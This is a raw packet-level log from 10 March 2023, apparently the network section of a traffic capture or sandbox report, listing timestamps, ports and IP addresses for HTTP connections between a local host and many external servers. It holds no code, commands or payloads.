Mar 10, 2023 07:54:55.167891026 CET	49929	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.174451113 CET	80	49879	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:55.174509048 CET	49879	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:55.186511993 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186558962 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186599016 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186638117 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186677933 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186764002 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186774015 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.186822891 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186830044 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.186856985 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.186883926 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186886072 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.186927080 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186944962 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.186966896 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.186984062 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.187005997 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.187021971 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.187047005 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.187068939 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.187089920 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.187103033 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.187133074 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.187151909 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.187170982 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.187187910 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.187231064 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.188189030 CET	49931	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:55.189156055 CET	49933	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:55.200088978 CET	49934	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.206772089 CET	80	49931	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:55.278000116 CET	49935	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.287812948 CET	80	49933	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:55.287920952 CET	49933	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:55.297082901 CET	49933	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:55.306973934 CET	49936	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:55.321831942 CET	80	49929	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:55.341526985 CET	80	49931	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:55.341622114 CET	49931	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:55.354686022 CET	80	49934	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:55.354885101 CET	49934	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.365587950 CET	49934	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.379013062 CET	49931	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:55.383445978 CET	80	49935	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:55.383593082 CET	49935	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.384375095 CET	49935	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.395667076 CET	80	49933	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:55.395895958 CET	80	49933	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:55.396042109 CET	49933	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:55.397783995 CET	80	49931	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:55.416762114 CET	80	49917	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:55.416975975 CET	49917	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:55.474046946 CET	80	49936	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:55.474181890 CET	49936	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:55.489101887 CET	80	49931	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:55.489413977 CET	49931	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:55.489770889 CET	80	49935	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:55.490806103 CET	80	49935	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:55.490894079 CET	49935	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.491569996 CET	80	49935	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:55.491650105 CET	49935	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.519959927 CET	80	49934	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:55.520019054 CET	80	49934	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:55.520097017 CET	49934	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.520168066 CET	49934	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.562073946 CET	49934	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:55.562211990 CET	49935	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.668169022 CET	80	49935	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:55.668987036 CET	49936	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:55.698626995 CET	49937	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:54:55.716519117 CET	80	49934	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:55.783474922 CET	49940	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.785260916 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:55.788738012 CET	49939	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.808321953 CET	80	49940	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.808514118 CET	49940	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.813738108 CET	49940	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.837316990 CET	80	49936	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:55.838140011 CET	80	49936	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:55.838242054 CET	49936	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:55.838464975 CET	80	49940	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.838835955 CET	80	49936	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:55.838908911 CET	49936	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:55.848849058 CET	49936	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:55.849661112 CET	80	49940	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.849756002 CET	49940	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.849889994 CET	80	49940	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.849942923 CET	49940	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.851521015 CET	49940	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.853893995 CET	49941	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.876194000 CET	80	49940	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.879049063 CET	80	49941	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.879226923 CET	49941	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.884783983 CET	49941	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.908788919 CET	49942	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:55.909998894 CET	80	49941	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.921097040 CET	80	49941	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.921247005 CET	49941	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.921284914 CET	80	49941	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.921355963 CET	49941	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.922621012 CET	80	49939	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:55.926337004 CET	49939	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.930881023 CET	49941	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:54:55.938258886 CET	49939	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:55.956084013 CET	80	49941	81.171.22.7	192.168.2.6
Mar 10, 2023 07:54:55.963321924 CET	49943	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:55.971667051 CET	49944	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:55.979268074 CET	49945	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:55.979921103 CET	80	49943	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:55.980006933 CET	49943	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:55.981328964 CET	49946	80	192.168.2.6	143.204.9.128
Mar 10, 2023 07:54:55.982012987 CET	49943	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:55.990277052 CET	80	49893	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:55.990355015 CET	49893	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:55.998703957 CET	80	49943	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:56.001121998 CET	80	49946	143.204.9.128	192.168.2.6
Mar 10, 2023 07:54:56.001265049 CET	49946	80	192.168.2.6	143.204.9.128
Mar 10, 2023 07:54:56.003375053 CET	80	49944	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:56.003561974 CET	49944	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:56.006356955 CET	49946	80	192.168.2.6	143.204.9.128
Mar 10, 2023 07:54:56.006792068 CET	49944	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:56.007086039 CET	80	49945	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:56.007226944 CET	49945	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:56.008630037 CET	49945	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:56.015912056 CET	80	49936	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:56.026185989 CET	80	49946	143.204.9.128	192.168.2.6
Mar 10, 2023 07:54:56.026411057 CET	80	49946	143.204.9.128	192.168.2.6
Mar 10, 2023 07:54:56.026495934 CET	49946	80	192.168.2.6	143.204.9.128
Mar 10, 2023 07:54:56.037843943 CET	80	49944	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:56.037908077 CET	80	49945	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:56.037990093 CET	49945	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:56.039031982 CET	80	49944	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:56.039124012 CET	49944	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:56.047699928 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.047852039 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.072074890 CET	80	49939	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:56.075611115 CET	80	49939	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:56.075792074 CET	49939	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:56.076024055 CET	80	49942	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:56.076133966 CET	49942	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:56.076441050 CET	80	49939	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:56.076639891 CET	49939	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:56.091883898 CET	49913	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:56.110624075 CET	49946	80	192.168.2.6	143.204.9.128
Mar 10, 2023 07:54:56.111038923 CET	49939	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:56.111362934 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.111416101 CET	49945	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:56.111654997 CET	49942	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:56.130518913 CET	80	49946	143.204.9.128	192.168.2.6
Mar 10, 2023 07:54:56.130739927 CET	80	49946	143.204.9.128	192.168.2.6
Mar 10, 2023 07:54:56.130836964 CET	49946	80	192.168.2.6	143.204.9.128
Mar 10, 2023 07:54:56.142138004 CET	80	49945	213.186.33.40	192.168.2.6
Mar 10, 2023 07:54:56.142283916 CET	49945	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:54:56.244796991 CET	80	49939	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:56.278831005 CET	80	49942	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:56.280030966 CET	80	49942	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:56.280112982 CET	49942	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:56.280673027 CET	80	49942	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:56.280733109 CET	49942	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:56.314394951 CET	80	49943	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:56.314445972 CET	80	49943	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:56.314702034 CET	49943	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:56.314702034 CET	49943	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:56.375272036 CET	49942	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:56.375869989 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.375909090 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.375936985 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.375963926 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.375987053 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.376029015 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.542351961 CET	80	49942	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:56.583270073 CET	80	49755	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:56.628724098 CET	49943	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:56.638644934 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638714075 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638751030 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638784885 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638818979 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638850927 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638871908 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.638885975 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638919115 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.638962030 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.638962030 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.638994932 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.645386934 CET	80	49943	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:56.775645018 CET	49947	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:56.793698072 CET	80	49947	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:56.794591904 CET	49947	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:56.803018093 CET	49947	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:56.804785013 CET	49948	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:56.819830894 CET	80	49947	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:56.821806908 CET	80	49948	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:56.826666117 CET	49948	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:56.831248045 CET	49948	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:56.849345922 CET	80	49948	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:56.857357979 CET	80	49948	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:56.857569933 CET	49948	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:56.872916937 CET	49948	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:56.894546032 CET	80	49948	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:56.896411896 CET	49948	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:56.901825905 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.901889086 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.901937008 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.901984930 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902030945 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902034044 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902081013 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902101994 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902101994 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902131081 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902132988 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902178049 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902190924 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902224064 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902235985 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902271986 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902293921 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902319908 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902327061 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902368069 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902374983 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902415991 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902426958 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902465105 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902472973 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902512074 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902518988 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902559042 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:56.902565956 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.902615070 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:56.963258028 CET	80	49947	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:56.963398933 CET	49947	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:57.004563093 CET	80	49943	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:57.004618883 CET	80	49943	104.26.3.124	192.168.2.6
Mar 10, 2023 07:54:57.004944086 CET	49943	80	192.168.2.6	104.26.3.124
Mar 10, 2023 07:54:57.168545008 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:57.168654919 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:57.168694973 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:57.168747902 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:57.169013977 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:57.169064045 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:57.169066906 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:57.169111013 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:57.169157982 CET	80	49938	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:57.169162035 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:57.169238091 CET	49938	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:57.184807062 CET	49950	80	192.168.2.6	143.204.9.92
Mar 10, 2023 07:54:57.208551884 CET	80	49950	143.204.9.92	192.168.2.6
Mar 10, 2023 07:54:57.208760977 CET	49950	80	192.168.2.6	143.204.9.92
Mar 10, 2023 07:54:57.210856915 CET	49950	80	192.168.2.6	143.204.9.92
Mar 10, 2023 07:54:57.233704090 CET	80	49950	143.204.9.92	192.168.2.6
Mar 10, 2023 07:54:57.233951092 CET	80	49950	143.204.9.92	192.168.2.6
Mar 10, 2023 07:54:57.234126091 CET	49950	80	192.168.2.6	143.204.9.92
Mar 10, 2023 07:54:57.258321047 CET	49950	80	192.168.2.6	143.204.9.92
Mar 10, 2023 07:54:57.278789997 CET	80	49950	143.204.9.92	192.168.2.6
Mar 10, 2023 07:54:57.279356956 CET	80	49950	143.204.9.92	192.168.2.6
Mar 10, 2023 07:54:57.279581070 CET	49950	80	192.168.2.6	143.204.9.92
Mar 10, 2023 07:54:57.312480927 CET	49949	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:54:57.431710005 CET	49951	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:57.462306976 CET	49952	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:57.488720894 CET	49953	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:54:57.501393080 CET	80	49910	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:57.501504898 CET	49910	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:57.636573076 CET	80	49952	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:57.638354063 CET	49952	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:57.639827967 CET	49952	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:57.660351038 CET	49954	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:57.714390039 CET	80	49951	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:57.718105078 CET	49951	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:57.718919992 CET	49951	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:57.777682066 CET	49955	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:57.814142942 CET	80	49952	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:57.814802885 CET	80	49952	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:57.815018892 CET	49952	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:57.832324028 CET	80	49954	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:57.834726095 CET	49954	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:57.838726997 CET	49954	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:57.840006113 CET	49952	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:58.000355005 CET	80	49951	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:58.001733065 CET	80	49951	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:58.002368927 CET	49951	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:58.014791012 CET	80	49952	208.109.214.162	192.168.2.6
Mar 10, 2023 07:54:58.019869089 CET	49952	80	192.168.2.6	208.109.214.162
Mar 10, 2023 07:54:58.056562901 CET	80	49954	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:58.059950113 CET	49951	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:58.070323944 CET	80	49955	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:58.070733070 CET	49955	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:58.085567951 CET	49955	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:58.091449022 CET	80	49954	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:58.091511011 CET	80	49954	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:58.091588020 CET	49954	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:58.091643095 CET	49954	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:58.122484922 CET	49954	80	192.168.2.6	103.224.182.241
Mar 10, 2023 07:54:58.209908009 CET	80	49903	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:58.210155964 CET	49903	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:58.251064062 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:58.251214027 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:58.294111967 CET	80	49954	103.224.182.241	192.168.2.6
Mar 10, 2023 07:54:58.342063904 CET	80	49951	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:58.343105078 CET	80	49951	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:58.343215942 CET	49951	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:58.378516912 CET	80	49955	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:58.379098892 CET	80	49955	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:58.379575014 CET	49955	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:58.429002047 CET	49955	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:58.451469898 CET	49874	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:58.654673100 CET	49881	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:54:58.722193003 CET	80	49955	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:58.722667933 CET	49955	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:58.786953926 CET	49937	80	192.168.2.6	210.140.73.39
Mar 10, 2023 07:54:58.924849987 CET	49957	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:58.943604946 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:58.951512098 CET	49883	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:54:58.960625887 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:58.961505890 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:58.962038994 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:58.978759050 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.031271935 CET	80	49957	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:59.031583071 CET	49957	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:59.032701015 CET	49957	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:59.139513016 CET	80	49957	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:59.150974989 CET	80	49957	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:59.151087999 CET	80	49957	147.154.0.23	192.168.2.6
Mar 10, 2023 07:54:59.151184082 CET	49957	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:59.151227951 CET	49957	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:54:59.248622894 CET	49890	80	192.168.2.6	185.15.129.58
Mar 10, 2023 07:54:59.259520054 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.259581089 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.259629965 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.259670019 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.259670019 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.259721994 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.259744883 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.259813070 CET	80	49958	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:59.259871006 CET	49958	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:59.259871006 CET	49958	80	192.168.2.6	172.67.70.223
